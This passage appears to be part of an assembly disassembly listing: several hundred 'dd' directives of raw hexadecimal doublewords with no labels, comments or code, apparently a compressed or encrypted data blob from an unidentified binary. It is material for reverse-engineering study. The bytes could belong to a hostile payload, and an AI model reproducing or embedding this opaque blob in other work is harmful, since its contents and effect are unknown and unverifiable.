		dd 1838E734h, 4F0896h, 0C9217DDBh, 0C0DFAEEEh, 3B0B5900h
		dd 575035D4h, 0EE20FDC8h, 0F20E0001h, 0B72AA0F8h, 0FF7F4FA3h
		dd 67006CF4h, 2303F4B9h, 101899h, 0ECD5079Ch, 0AFD1D40h
		dd 0D23D4E0Eh, 2D88A0BCh, 2522F67h, 79600575h, 8EC8ED33h
		dd 0B2769CACh, 2DD6CF00h, 0F1D5BBAEh, 208F07A7h, 701A333Eh
		dd 68E9BD8Ch, 0EA01C803h, 90779927h, 7B919826h,	0ACB4003Fh
		dd 0AB97CCD5h, 0BA004734h, 165E5AE0h, 9B3D01h, 2F7DD6EFh
		dd 77B42728h, 97381D00h, 93F5D0E7h, 11801E1h, 0CB10D5FDh
		dd 3C90F48Ch, 0D7363Ch,	22E8C11Bh, 0A555BEFh, 81070F46h
		dd 964200E0h, 593B7653h, 0DF972600h, 9DE34B90h,	2675F294h
		dd 2046A1CCh, 8BDD0184h, 5845D0C4h, 10C4405Ah, 1E0064EFh
		dd 7D753820h, 1DC157Eh,	0B4CA9408h, 0E8BA9F49h,	0EB01BD39h
		dd 36716F75h, 3C7054AFh, 0E33E0004h, 0D17A0C44h, 0EB00D80Bh
		dd 0C56B2BB4h, 5864781Bh, 4F3E0532h, 3907E184h,	55109020h
		dd 0E00042C8h, 565D3D2Eh, 0F50201h, 0BAD4A366h,	40D7C9F1h
		dd 0BE5D600h, 2284BF5Ch, 7E5D16FDh, 0E386000Eh,	20E0CD81h
		dd 8FEFEC00h, 4BC8B767h, 7CE23966h, 0FCD50076h,	0F1B1A57Eh
		dd 430092F4h, 4DEDA934h, 6AF7B8h, 0E2A70172h, 792CBB54h
		dd 6B8A0C50h, 27EC7F12h, 0A2A12440h, 0EC3E0BB6h, 0D6C74C2Dh
		dd 34A5AE07h, 0E2D1A002h, 8900642Ah, 6F99EBADh,	18352DFAh
		dd 4C0B0185h, 0CB0067EEh, 23026244h, 0C6FC74h, 0D5A0209Ch
		dd 66EAF9Dh, 0AC120C00h, 70D482ECh, 0CE910089h,	0B7DA972Eh
		dd 9A031F3Bh, 0A6D9E647h, 6A0AB0ECh, 0EE90071h,	153DE585h
		dd 8400E4B8h, 8979666Dh, 7BB28CBh, 0DFF0FD5Dh, 70487018h
		dd 9D0082E5h, 1E6797B6h, 3C5FA246h, 690041C9h, 2390ED6Eh
		dd 0EA0029AAh, 32A944AFh, 95ABD67h, 0CE5D8740h,	7A941480h
		dd 0AC00E1B3h, 7CE47680h, 2A1575h, 7F36A94Fh, 2FB1127Bh
		dd 2D17F106h, 386272h, 2360B743h, 67D21F2Eh, 44FCC724h
		dd 0DF54902h, 0B6E040FDh, 9BE22Ch, 9D133CCBh, 0D3765F51h
		dd 72005092h, 9C0573FCh, 0C6A5E4h, 4732B557h, 4CD348C1h
		dd 8F8EFE02h, 0D71A7974h, 0BC09FE58h, 80817A42h, 0C3CCDD55h
		dd 0C053013Dh, 0EFC8103Bh, 4EB420ABh, 0D30A3900h, 331CB441h
		dd 3881011Eh, 8BE0C4F8h, 59D1E4EAh, 8F53A63Dh, 0C0636EDFh
		dd 4DAF2F1h, 106F6778h,	84CEA158h, 8B60A040h, 10D9C500h
		dd 0D6B4887Ah, 4BD500FEh, 3EF3772Eh, 0C906A76Dh, 0E707AB02h
		dd 0D0C10040h, 0EFEA119Bh, 8E03547Dh, 97E6B9ECh, 0A5C8D8BAh
		dd 0C07351h, 0B0F3A8CCh, 0C27F5DAh, 0A604700h, 99EF878Ch
		dd 0CA50001Fh, 4030E9D4h, 9100924Eh, 9FDEA4DBh,	4F1963Bh
		dd 0E7B8FEB6h, 6338C7ECh, 0E8D3DD3Fh, 4294D9E8h, 0A4094375h
		dd 0DE96D1h, 0CCD73DECh, 0B8F300D2h, 76799DAh, 47000F6Bh
		dd 7F8F2786h, 149AE8Ah,	300C14C2h, 8F2D25FEh, 72C0F98h
		dd 8CF10EF3h, 0B18F8A21h, 0DEC0410Dh, 0DF080BF1h, 433DD973h
		dd 0A5F080FEh, 7A6E2961h, 6707005Fh, 0A5BE88Bh,	5E0F97DBh
		dd 20354A72h, 0EED5AF4h, 1BFEFA50h, 700BF54Bh, 89C7801Dh
		dd 0AA110D8h, 0A64000F1h, 0D6A4DD50h, 8D00E699h, 0EA1328D2h
		dd 0A02491D9h, 0AFB894Ch, 6C06EE2Fh, 40751E70h,	9B2A4FFEh
		dd 957E461Fh, 1EC04D07h, 0B5204496h, 0ECDD4090h, 688C00ACh
		dd 304F672Ah, 2F00BFAEh, 0D3B8219Bh, 53BE4Dh, 0F65B5292h
		dd 5457AA35h, 0CF01E903h, 0D897704Bh, 37BA8BDh,	192C0E79h
		dd 49D8558Fh, 2E00EF9Dh, 7748F232h, 74A13BE8h, 0AAEE2F8Eh
		dd 0FD1E2178h, 803B0643h, 84351103h, 0FC10A6CEh, 69BB0985h
		dd 0B680DAC1h, 52296009h, 0DBB8B600h, 26CE61BFh, 637523h
		dd 7A544191h, 93E57FC5h, 377DB603h, 80BED9D5h, 700D66FEh
		dd 68A200B2h, 5054064Dh, 6E0A14F2h, 0A0FD7F43h,	2CF1880h
		dd 0E59BE9Fh, 973DEA56h, 4D93ACC0h, 0BA010168h,	0B1D91ED2h
		dd 0B0507C5Ch, 1096B12h, 55DD8EF7h, 0F0D9EEDCh,	0C958881Ah
		dd 80BB0CCEh, 2661F6h, 2811A343h, 0B07F68B6h, 0ED2DF507h
		dd 79903BDAh, 5B76F9h, 1D4506EAh, 1B0DB58Ah, 4193DE31h
		dd 88028AFh, 51316C86h,	0A10CFB02h, 1923AEFFh, 0C8330016h
		dd 0C76A8D48h, 943E7FECh, 0E15C3E93h, 688F70B1h, 0F003E4h
		dd 853BC4BEh, 2267CF1Fh, 0ED1EC7F8h, 920326E6h,	0C0287F16h
		dd 1596155h, 185E4CECh,	80F7801Ah, 0D044A291h, 77EE4D1h
		dd 0C3FAC911h, 825DD0ADh, 8B18EA2Eh, 4C79145Fh,	0F86C0098h
		dd 68503CC2h, 15305504h, 92D1B929h, 7C1A077Ah, 6E46C70Ah
		dd 8C8F9CE0h, 313F8309h, 4864B0BCh, 1421290Ch, 9859C5A7h
		dd 51DA5403h, 690E1B5Ch, 0A02A7D3Fh, 7ED8AE50h,	451A3D4Dh
		dd 149F69Ch, 0A4D9F273h, 0A88EEC4Ch, 186B2600h,	0B1743414h
		dd 0D460C085h, 9EEECBB4h, 0DED56A00h, 0DFDC58AFh, 6E3C0132h
		dd 46182696h, 2171807Eh, 0EE6858C2h, 11A48A1h, 42DB8800h
		dd 0C486133Dh, 0B0F84028h, 0A46A920Eh, 21556F15h, 0A561995h
		dd 5828058h, 0E41AFEFCh, 0F9B0408Ch, 0A3DA527Eh, 326AD700h
		dd 0E6A5C138h, 0F530C29Eh, 0CC832F86h, 7EA16715h, 0F2891090h
		dd 0CEE3036Dh, 0F8EA76D2h, 61562598h, 1B8C3A00h, 4F10EC4Bh
		dd 0FAE9005Fh, 93DDF417h, 46522966h, 8B0200D8h,	2BF1FCFDh
		dd 0CEA30CB5h, 0C161957Fh, 82634E1Ch, 0AA41C29Dh, 8AB5319Ch
		dd 603252F0h, 0B862B85Eh, 783AA513h, 0CD3581F8h, 0B165074Ch
		dd 0F3CC60CDh, 48E16785h, 4225C556h, 5B734C84h,	0A9F8F4A0h
		dd 8A070B30h, 0E9B33F6Bh, 7FF21EB0h, 1289C08Eh,	37DF7429h
		dd 0AB68410Bh, 0F032003Eh, 0C413A7F8h, 80678DC9h, 0F95523CBh
		dd 8069A56Fh, 819C8E1Bh, 0B5B198Dh, 325C1926h, 36C900BCh
		dd 0CB243E3Dh, 0B2733F2Fh, 0B7816481h, 2027C55Fh, 1460AE1Ch
		dd 0B5979339h, 890D015Dh, 60D4FAD8h, 447DF86Ah,	0EB1D1A16h
		dd 0D64D4F00h, 722A2h, 468B5068h, 0A96B927Fh, 107AAF06h
		dd 15117AEh, 0B8744D5Eh, 0DC41D67Eh, 4F44FBCh, 0BC10100h
		dd 0CB7D797Fh, 0A0217A91h, 3999FDACh, 57002FAEh, 0BFADC46Fh
		dd 454A0859h, 370AA5ACh, 83AC5874h, 67AA0F60h, 89353087h
		dd 0D701640Dh, 0A8ECB6BDh, 0FF302D63h, 561426C3h, 5F4E6274h
		dd 0C50ABDC0h, 35502E00h, 0F9DAE055h, 62211ECAh, 70111FE7h
		dd 7D4CA2C1h, 0BD49254h, 984F5E01h, 639D3D70h, 4D171E8h
		dd 4AAEF8DDh, 0B2740446h, 0BC08C090h, 6963003Fh, 6FC29810h
		dd 0DAFEF00Fh, 50DBF30Eh, 72EE182h, 1C231255h, 0A0808C04h
		dd 0F84380CBh, 2CA135A4h, 0C5E410B1h, 0C06A1FB5h, 59D7C08Bh
		dd 693AF4B4h, 5C904904h, 94CC8ED2h, 0A0830023h,	5D312597h
		dd 2609384Eh, 1074D6E1h, 1D4D5150h, 40F5FE82h, 0EEF2D10Fh
		dd 0E701E331h, 506BCE25h, 0C1D7AE1Fh, 73E1283Dh, 0EC3C70h
		dd 8C210D52h, 61A77867h, 0BCAEEB1Eh, 200678B0h,	52BB4CDDh
		dd 44EDF600h, 0C76924ABh, 11079200h, 2747C0AAh,	0A9126046h
		dd 0BBF97094h, 4E8F8B07h, 0FF764D1h, 206290C2h,	60A2ADD9h
		dd 0D086B490h, 1D08874Ch, 97EE1A6Ah, 0BB769202h, 0C08C4031h
		dd 0B832E726h, 0DD8F4D3Ah
		dd 0C520CD52h, 5D2431C9h, 9AE80084h, 45B0E16Ah,	0B5011920h
		dd 9226A3B3h, 50703AB7h, 22FD3A65h, 3F9C02A4h, 13642000h
		dd 0A58B9E46h, 6E4988C0h, 9B6C7F1h, 0FC8073F7h,	1631C20h
		dd 3F73991Ch, 4419B71Eh, 959406C0h, 81BBB36h, 0B17515ECh
		dd 0E7FDAC87h, 0CDDC7920h, 33BE0F42h, 0A4A0CACEh, 0FB884371h
		dd 5A528F01h, 0C81AF621h, 0F9132432h, 8C0C20ADh, 7203947Eh
		dd 0DA6E1DB9h, 18A79224h, 8E048761h, 12568BB8h,	166BE0D8h
		dd 183E1B69h, 0EAC459BAh, 0EB2B63Eh, 0A0B581A0h, 0F8D30932h
		dd 0E8BD057Eh, 80037B36h, 150B60F8h, 0F2C34B05h, 4C87ACD8h
		dd 655E0710h, 1CB5F8FCh, 40A26997h, 75A78A50h, 2F008816h
		dd 0C68DC2A4h, 21229DEh, 547B6207h, 0A880E73Fh,	5BA92345h
		dd 0A9C924FAh, 441C115Ch, 96D05831h, 0A2D50F09h, 5C26DA72h
		dd 0CF022111h, 77C14181h, 989C6C5Bh, 0A75405A0h, 20AE7F89h
		dd 0F3B4C080h, 0FF00BDF4h, 1D940BD3h, 32DAB37h,	3B13960Ah
		dd 0B03AEE05h, 5D3D0C2Bh, 142A5118h, 0A9B728F7h, 6360378h
		dd 0DFFDC6F4h, 906A6097h, 0DE1327AAh, 2821E017h, 9824BFAFh
		dd 385200FCh, 30B076B3h, 0A24CD33Ah, 48D00D8h, 9E615CDCh
		dd 8790B9D7h, 71193091h, 0F34B3133h, 823583F0h,	5E74DD10h
		dd 450F0C01h, 0E066F3F1h, 0E916240Dh, 2403C4C3h, 155D2Ah
		dd 0A736F8B9h, 0B516FDCFh, 2770514h, 300D2294h,	85F0E704h
		dd 88E843DAh, 0FC76CB1Eh, 9944C840h, 0A7DB4F3h,	85DC1B14h
		dd 0A9E33B6Ch, 78D0BBDFh, 3F00C783h, 0E82B0E95h, 3357DF9h
		dd 9646A502h, 0BFA81C6Ch, 74002FB6h, 0C53BD4CCh, 1074D2Ah
		dd 27599743h, 741F93D7h, 0A4727BE8h, 0E95A7430h, 3E1AFDBDh
		dd 0BB802A71h, 0D214DF39h, 60009164h, 26E92F9Ah, 0B09528E0h
		dd 1C53002Ch, 0E56BD1EBh, 6716CED9h, 1033BE56h,	3364D87Ah
		dd 0ED7B0041h, 0E4ABA49Dh, 4CFA8DEAh, 9C495C12h, 56659403h
		dd 6F63F883h, 20691CFCh, 29D944B4h, 47DCC298h, 0E810B311h
		dd 0F61E7759h, 0A580CAAFh, 9B426701h, 65BE009Ch, 7C19F0CEh
		dd 74B8E9CFh, 7DA272Ch,	0E5061D00h, 13C7F204h, 81A34Bh
		dd 0E6DDAF64h, 80623FF8h, 0AE5775B9h, 0FAFDA088h, 2E5B6Dh
		dd 3F2C7EBFh, 341B95C8h, 0FE68970Eh, 0A2EC0B14h, 0C20FF064h
		dd 3D007F94h, 0BEC72AA5h, 0C51AE31Ch, 90D40A25h, 46ACAA60h
		dd 0AF230095h, 49082CD5h, 0CB2ED270h, 5802E0E5h, 44ADCF0Ah
		dd 3AE13A00h, 95549Fh, 0A9B770A4h, 0F4008E1Ah, 1378EDA8h
		dd 26CE0108h, 40F49327h, 67D69EDAh, 87F8B90Fh, 0A2540326h
		dd 72A8E088h, 0ED62062Bh, 31E31AEAh, 0C79E4700h, 0FFFC1268h
		dd 26D30648h, 21459728h, 477A4A0h, 4EAC9350h, 444E804Bh
		dd 0D8C82765h, 0E2848AF1h, 0B0F08CCh, 97264BB5h, 0D69C3C18h
		dd 87EC7958h, 0A4973D84h, 0E4313F1h, 68C5C3C9h,	7F2D830h
		dd 5592141h, 49413C74h,	0E260A000h, 0D7C42EAEh,	0C7871325h
		dd 2CF8207Ah, 0E60070EFh, 884722EDh, 1D12826Bh,	0C0EBB608h
		dd 4CBA56F9h, 6090EFECh, 0BE468400h, 2331F175h,	861B0302h
		dd 0B4962654h, 0F9805118h, 0D6E4E1h, 0D88EE8BCh, 0CF7FEE2Eh
		dd 0B238E306h, 4AD84B73h, 930405Ch, 0ACBB4C0Dh,	892C17E8h
		dd 3E0FAC76h, 0D749603Ch, 4EF8F00Eh, 96C843A3h,	1AFBF97Ch
		dd 0C03C1148h, 33200982h, 411E02FBh, 5D28EFDBh,	3700B044h
		dd 0B4B2F85Ch, 0ED81F1h, 0C713E8D8h, 2A16551Ch,	0B3C4E300h
		dd 0C970B9BCh, 4244CECh, 4E7B7209h, 80755400h, 3CA0461Eh
		dd 0C900C3C5h, 1B9276D1h, 52F65E0h, 63150458h, 0A424C162h
		dd 0C485FC0Dh, 0A4DB2124h, 1058A501h, 283025D4h, 5912141Dh
		dd 0C40588F1h, 0C8AE1B97h, 60039C8h, 0A6853575h, 4EB34931h
		dd 0B5B42045h, 7105D5EEh, 0EF43120Bh, 1025C500h, 0FAF423E4h
		dd 18C00B5Ah, 5890ADE6h, 1300679Eh, 406173CFh, 0A025A431h
		dd 880DA9ACh, 0ACB0E83Eh, 5DFE5201h, 785BBFE6h,	8F009839h
		dd 4AFD3D5h, 5F060596h,	307ACBFEh, 1EF398C8h, 66A955Bh
		dd 48CDBCA4h, 5EE5603h,	0A1943A51h, 50703F6Dh, 4C4A078Bh
		dd 0A091E18Eh, 4E7C1BD7h, 24144DFCh, 58AE97h, 364530A5h
		dd 5112EF1Dh, 0AC48FCC4h, 7B4802D0h, 5D404AB6h,	0DD072444h
		dd 0C9625BD5h, 661267D0h, 6ED004DBh, 0E09AEA15h, 0EC05B890h
		dd 5FA26B9Fh, 223FE420h, 0EFD900DDh, 6470DF97h,	7703EE63h
		dd 0A3C660EAh, 4082EC8Bh, 75257Ch, 4FFE0444h, 0D10E8C55h
		dd 2E253011h, 8BD6E543h, 0C62240C2h, 71B70048h,	0AD6F4AA1h
		dd 0C41E831Ch, 8E00CF57h, 9396AA02h, 9C000DAh, 5C6792C8h
		dd 952953EDh, 0DF01C0AEh, 2461B196h, 12578EF4h,	0C8998FFCh
		dd 83002CA0h, 0B37D28B9h, 8C64Ah, 8146FA94h, 0CA4C3BDCh
		dd 84748D0Eh, 2BF781C7h, 9C229428h, 34135614h, 0B52AC400h
		dd 5248725Fh, 74361513h, 124F020h, 547700F2h, 0E534BC2Dh
		dd 8C009DCCh, 0F799408Fh, 964623B6h, 0AA218000h, 8228ACEBh
		dd 1BFADC00h, 57A29B5Dh, 0AE4D07C5h, 84FCE759h,	0C710E05Ch
		dd 0B4F97729h, 806964A4h, 0AF3CA74h, 7D240F7Fh,	6B8FD1BEh
		dd 94CF3E82h, 5DAE3C40h, 408FD524h, 0F5C6F000h,	0F28FCE3h
		dd 0FB89874h, 0ADD3ED62h, 0D0C1072h, 14AF915Ah,	0A3CA00FDh
		dd 481F255Fh, 473862C4h, 0D558CECh, 605C312Dh, 42D7997Fh
		dd 25E6F3EBh, 6D715A14h, 0ED3800A6h, 6F3FB865h,	9E8904A9h
		dd 814F8618h, 0C231203Ch, 30B59861h, 0D9C056C0h, 411DED2Eh
		dd 0D8FB074Bh, 7D4BD32h, 8FC5A082h, 2D3DE064h, 25E705D3h
		dd 0C889928h, 5C96278Eh, 1B0734A0h, 0BF03C94h, 0E9F2D405h
		dd 8C0040E7h, 17DF3F66h, 0D54B008Eh, 0A291738Ch, 0B816D985h
		dd 0AC8860A5h, 0B529007Ah, 57DBFCEDh, 0B1001CDEh, 0A3583B28h
		dd 43860h, 69337A48h, 0B7C63D0Eh, 0C7079C00h, 724F209Bh
		dd 40454ADAh, 82B5EF7Ch, 105D75Dh, 2294D19Fh, 1600BCA2h
		dd 0A1B41442h, 64B55EDh, 0AF720030h, 0DA1B2D1Dh, 0FFE0D814h
		dd 0A0CEC501h, 0D7B7D8F2h, 0CBFD9D0h, 917EEBECh, 32010731h
		dd 51CDB9CBh, 0C86094EDh, 0DA624498h, 7C919D79h, 0AA50C880h
		dd 2390A80h, 0F96A6B28h, 0A0E845A4h, 0C377EDECh, 10001499h
		dd 0CFB57ECEh, 69360059h, 18791F89h, 5E00C53Bh,	0BA158DC4h
		dd 27A175A4h, 8C7C05B6h, 15017021h, 0F124286Fh,	185B0870h
		dd 211AAEF0h, 0CD000A98h, 0F27A5C39h, 0F6AA94h,	0FD28F157h
		dd 0A018DCF8h, 0DC20414Ah, 1AA9ECFh, 0D8C7DA4Ch, 6072A4F5h
		dd 7E04612Ch, 733F14F0h, 6F3488h, 0E41263C7h, 0E8B099ABh
		dd 5DBA0F00h, 18B6D266h, 94189CE0h, 8E0058AFh, 3CBA2136h
		dd 0FB1D746Eh, 4B00D6B0h, 0F8EE4123h, 88814CA6h, 0B6003490h
		dd 658C2403h, 5A00B0E7h, 0D220C672h, 30818A69h,	0DB295F7Ah
		dd 5A002C1Ah, 308CF7C4h, 9ED344C6h, 4ABD4034h, 0F300B9DBh
		dd 0BA0ABFABh, 50D221h,	8AA1C819h, 91264AA8h, 0E906099h
		dd 8C24D585h, 83074A94h, 912DE295h, 0A8CF4D50h,	3C42003Bh
		dd 241E18E5h, 38B87CC5h, 0C6046D00h, 0B4F1ECBAh, 0CCE958A6h
		dd 24095427h, 0E7246C82h, 9F5084E0h, 0EC41CA00h, 9826A3D9h
		dd 0A889D448h, 738124C0h, 2B00D584h, 5AD95007h,	244C2E1h
		dd 0F9720BFEh, 0D4522FA0h, 0E100A084h, 15CC22BBh, 0A958DCh
		dd 0DECD9D0Eh, 7368F071h, 9FBB78A3h, 4F52FE0h, 0E91308EAh
		dd 821A8F8h, 687DE11Bh
		dd 62008C48h, 0F2DDC67Dh, 2613FF8Fh, 0DC907E05h, 5EDACD5h
		dd 97758C87h, 5BF4D38Dh, 0AD79D28Fh, 0EBE0C8AFh, 13083E37h
		dd 0CCBDA500h, 8E107D7Bh, 0D090A1B1h, 0C0773884h, 3B90E2FFh
		dd 45D98006h, 0A59D9BF3h, 5E4D0376h, 0FA7F3A93h, 6D368100h
		dd 771357D2h, 0A6A4008Bh, 0EEA92083h, 8019ABAh,	0B3CB74D9h
		dd 983D463Ch, 9B588B00h, 7A163D6Eh, 0F665C000h,	4A67ED2Dh
		dd 0B8D0E81h, 0CE1074Ch, 2420AEA1h, 400A90Ch, 3D2644A5h
		dd 382B98A4h, 5289C856h, 8013D91Ah, 7E07DFF8h, 9C118F60h
		dd 0DB5E14h, 0BC53F873h, 97ECEFA2h, 0A36D0600h,	0B20CF21h
		dd 1E0E3255h, 0CC725C69h, 43893400h, 0E96141CEh, 0D977FAh
		dd 4D60D5C7h, 51B53807h, 64265D26h, 0CC004B16h,	29C4C1D3h
		dd 81F8607Fh, 2E49E2AFh, 9B9A6000h, 3B3F316Ch, 0EA5200D8h
		dd 7826E705h, 0E509892Dh, 0C85C751Eh, 5DFF34Ch,	6C2BB4E0h
		dd 3CD50706h, 0A42F31CAh, 33C0F85Bh, 23B890F3h,	0B6891188h
		dd 9189270h, 90148496h,	0C940FB4Fh, 0ED9E0224h,	5FABB613h
		dd 4F07ECD0h, 1B14E27Ch, 0A06A4956h, 0B5B66990h, 8C270B08h
		dd 5A20B047h, 9E588E1Ah, 9F6A0010h, 6CAA326h, 47B053Bh
		dd 0A474E3AEh, 0B30289A0h, 481A8C85h, 0D9CFE138h, 0F9128468h
		dd 650CC8A6h, 6F68AF50h, 8A4EEF00h, 2C87EB30h, 62D300D8h
		dd 9D664C70h, 9050294h,	8E27C496h, 0BA0088Ch, 3A507E6Fh
		dd 0FD3D6498h, 0D42F7A00h, 698A8ECCh, 5FA01AB3h, 50DA2119h
		dd 0A039509h, 9FC48074h, 9CA31781h, 0F66C4048h,	0B202A6A8h
		dd 0B5EEC891h, 0FD9880DFh, 0B7F7764h, 6FF06D69h, 0AE1B1400h
		dd 0E94A0A88h, 0DF8E0020h, 0CDBB2EC6h, 0CC96142Ch, 0EC10341Ch
		dd 2C202F4Bh, 81CAEA13h, 0C4B35900h, 856797C2h,	40E09EF0h
		dd 1FA7E58Fh, 2E0B93Bh,	53E20DDDh, 88D921h, 6D1BAA8Eh
		dd 3728E5A4h, 10000C5Dh, 0A0C4A656h, 8CC8E3h, 25838D74h
		dd 269CD90Bh, 9B462EFh,	0E85CA6B7h, 1A4EF4h, 5F301668h
		dd 0E1B1A2C7h, 76A32502h, 414D26CBh, 18505004h,	1E37398h
		dd 44D4F93Eh, 30D5E7F3h, 0DB018830h, 6D91DE49h,	0A8E055EBh
		dd 13822428h, 0AC4200A8h, 58AE3144h, 0C77D5E17h, 0D85CC04Eh
		dd 7BF43959h, 2C1FAECh,	0D16D54BEh, 0B1C04548h,	231888B1h
		dd 0DB90243Fh, 3F0899E8h, 42F093A6h, 5921F77Fh,	4AC01780h
		dd 1C7CC4h, 0DB5F6B60h,	0AFFD49A9h, 0F2D2B80Fh,	0DFA74289h
		dd 88987987h, 0C3806074h, 7522DAB1h, 0B22304E6h, 0B4AAF8C6h
		dd 880F06C8h, 7DEA321Eh, 66127BBDh, 58A0DC6Eh, 87A35057h
		dd 0E74412FCh, 46AC839Ah, 270C97D8h, 8733626h, 0CB4F9541h
		dd 8D75C4h, 0A05F8445h,	2FDC89EAh, 0B44842F2h, 4C912884h
		dd 3E06F201h, 7A24657h,	0DC814CD9h, 1F494D7Bh, 0DF1082F6h
		dd 590FB85Bh, 882CC0h, 0FC7148CAh, 97072D4Bh, 79732FD3h
		dd 0C4025E00h, 45DE28BEh, 4A713C18h, 83893F81h,	0D5F143A5h
		dd 809EFE7h, 451AEBFDh,	35AA8004h, 2A9E250Ah, 2B44FCB0h
		dd 0C17016A7h, 0A08CC83Ch, 739D3Fh, 0BC114DDDh,	177D84C3h
		dd 0C0EA649Ah, 5F14F528h, 156F9D04h, 4CC2606Ah,	0B5FCC06Ch
		dd 734C00A7h, 0F565D19Bh, 9A2627C7h, 11446063h,	0C033D4E4h
		dd 6A3003B0h, 5D7ED58Fh, 0B44F805Bh, 694A4078h,	2C14DF17h
		dd 12AA7D9Ch, 8B6800C0h, 6B27D5C2h, 7B40C600h, 6A14EDB4h
		dd 3C23009Ch, 3436C8Dh,	0C77508BBh, 0A671611Dh,	0F75FA581h
		dd 55F06B44h, 892F6214h, 4C728F26h, 0B1F8CF12h,	8961DC20h
		dd 645C040Bh, 0C8A4F963h, 0E6173EF4h, 4030D826h, 9CEF9F3h
		dd 92F4D5EBh, 541B5980h, 48122C9Bh, 0C8D17A88h,	0E4EC5F8Fh
		dd 0E09D0BE7h, 4A888994h, 0D1BF039Ch, 0D7D25668h, 977838E0h
		dd 21340458h, 114112Ah,	0F411643Fh, 0E1EC3533h,	0FE92248Ch
		dd 4C8E08DCh, 93CD206Eh, 64991Bh, 0F80C0896h, 0BC6531C8h
		dd 0D514C17Ch, 0C0FC2695h, 0E77919CAh, 8A410EAEh, 0AFE05EF9h
		dd 75935481h, 0C7F2D602h, 0C656C29Ch, 609E0F6Ch, 0DF84C464h
		dd 0E454A474h, 790A7F01h, 1EF3E645h, 7D8B860h, 0D1B5C606h
		dd 0F980C87Ah, 9BE1D48Dh, 0B8505A4Dh, 8117382Fh, 0D0772CE6h
		dd 0C3DBBBh, 0C2A1AC78h, 145206FEh, 264410B0h, 458A00AFh
		dd 537844FAh, 0E507E1AAh, 85A95E40h, 0C6A2F6A2h, 0C4762C74h
		dd 0C07767D8h, 0A1D28791h, 2E630500h, 0AB5A14E8h, 7D4A0BF5h
		dd 0F890805Ch, 0F0021C2Fh, 0D5ECDFB3h, 1F207904h, 32B64089h
		dd 207CC57Eh, 27DFE603h, 0C8AF5EDAh, 4A1B2405h,	0BC2C30E2h
		dd 0D301D494h, 0CA9C6591h, 682C0180h, 5E12CF9Ch, 1D9D7040h
		dd 8800B5C8h, 0CEA1C0E6h, 1C204Ch, 0A4304D57h, 0E025EF5Fh
		dd 0BA87952h, 0DD1A78h,	0C0D626C2h, 3D5B00EBh, 0F00BAF7Ah
		dd 794E55ECh, 5E77CC4Fh, 0E666109h, 746C84E0h, 1AC5CA4h
		dd 20E57E09h, 0FF972840h, 0BBB56102h, 0E65F2CD4h, 9600018h
		dd 0D4EF687h, 25726856h, 5F8C5C13h, 716B5820h, 0AD0503CFh
		dd 97CE9563h, 72463EC1h, 110C0080h, 0D06DCF39h,	0DC4A1205h
		dd 0DD2C907Ch, 0A61E26F8h, 7B07BA64h, 2950C5E6h, 131053D3h
		dd 0A4AFE45Ch, 0C704F114h, 0E5B1044Fh, 0E20FD0C0h, 26AB28F8h
		dd 64DF0344h, 8B7FEAB0h, 0C2B16113h, 0D221ED00h, 1790967h
		dd 7298E38Fh, 6C5A9C03h, 733D872Ch, 9684530h, 5671049Fh
		dd 40F77F33h, 5A909391h, 0F92800A5h, 0AEED3AE5h, 6000F409h
		dd 0D9EF19EEh, 1FBB7ECh, 0D685F3C4h, 222D17D3h,	0A33C040Ch
		dd 4482EA53h, 59C8801Eh, 2576A96h, 0CEB4F16Bh, 34C4751Ch
		dd 8AF45200h, 618BBA40h, 76F4B2F5h, 84B95C7Ah, 0EFCC6503h
		dd 180797EBh, 0EC74026Ch, 0AC207F15h, 16B7779h,	0A623E270h
		dd 0E05ACF7Ch, 25007266h, 0CD4BDC7Eh, 2E780668h, 14194Dh
		dd 2FBD8357h, 0C7035CA4h, 89F3A250h, 729FC8BFh,	60A7059Bh
		dd 0C16214D6h, 7C4FA04Ch, 2F4680F8h, 0FAB81ED0h, 43B8BBh
		dd 0D9F39390h, 0FD5CA29Dh, 0B0ECA130h, 51043314h, 73C8547Eh
		dd 0A13200A0h, 3ED8CA78h, 0E200FF09h, 596E0D4h,	0EDAD40h
		dd 9DCE27E7h, 88733067h, 6C88CF4Bh, 0C95E0E85h,	406B9568h
		dd 0B80A0009h, 50DC3C91h, 5F609482h, 83005C52h,	8CFCC4A8h
		dd 0FB56AC0h, 0D8337053h, 0D205F800h, 88B4CF94h, 0BB9FC540h
		dd 3B21B87Bh, 1F801B88h, 0E8554F54h, 99E228A9h,	3650F4BCh
		dd 0A416018Ah, 0BEF8E918h, 13CCE09Fh, 2400A17Eh, 43195F95h
		dd 9EC79EEEh, 142811F8h, 2E5C8D26h, 0E1190E8h, 0E7078C01h
		dd 0BEE018C4h, 0D19F0021h, 0DB0ACE6Ah, 297B2D96h, 43C86098h
		dd 1A22C405h, 20B44632h, 23BC00F4h, 0C7672BE6h,	903B91FAh
		dd 55C20566h, 808064E3h, 0C0134625h, 0E79CAB31h, 7B146752h
		dd 9C8990Ch, 0E48D2826h, 114234h, 6C1F6AC4h, 0EC7341Dh
		dd 8CB991BBh, 3E38C8F7h, 0AF01ACECh, 17F0D0E2h,	9EE82145h
		dd 9FCB16D7h, 6770009h,	28ADC772h, 0D61A4D12h, 0C25AE820h
		dd 203BFB18h, 5B557664h, 3837612Eh, 0F27A1D3Fh,	4A4F31Eh
		dd 0E0B29513h, 0B08BFF00h, 0CB5411EEh, 8DE1EFF1h, 0C844E435h
		dd 533082F5h, 0C6D2A326h, 7A9B000h, 0D66C88DBh,	96F80A4h
		dd 0D23EA0CCh, 0D9170B63h, 0F2009079h, 0D853001Eh, 16F44080h
		dd 0A5008DDAh, 63154D2Ah, 0CB89E21Ah, 18630B9h,	854EC01Dh
		dd 9A80C8h, 0BB8A9A1h, 67FCE028h, 0C8A5B307h, 8EA7944Ah
		dd 0FAF754A0h, 189B1D5Bh
		dd 53A2C386h, 0CCDD46C8h, 0B1EF558h, 6A80F1EAh,	14C261CCh
		dd 9A730228h, 5F75B731h, 0B90D5A20h, 8ABE007Dh,	9B4EE94h
		dd 9B2CB2E5h, 5B110C3Eh, 24A07F2Dh, 0ECABDCEDh,	1341DD1Eh
		dd 0EB93E7DDh, 0ED0CC8h, 6A09F462h, 0A951231Bh,	73055898h
		dd 0E708C03Bh, 0E20364F2h, 0B9B2F224h, 743077C8h, 0F92F4CEEh
		dd 642829A6h, 4883BDCh,	0D1DA2B80h, 0C63235E2h,	78BDA600h
		dd 0B40B6B15h, 47731313h, 0C0880FA8h, 0D0C485A7h, 771D80Fh
		dd 0E0B45575h, 44817580h, 997AB7B0h, 0EAAB0060h, 625DE9BBh
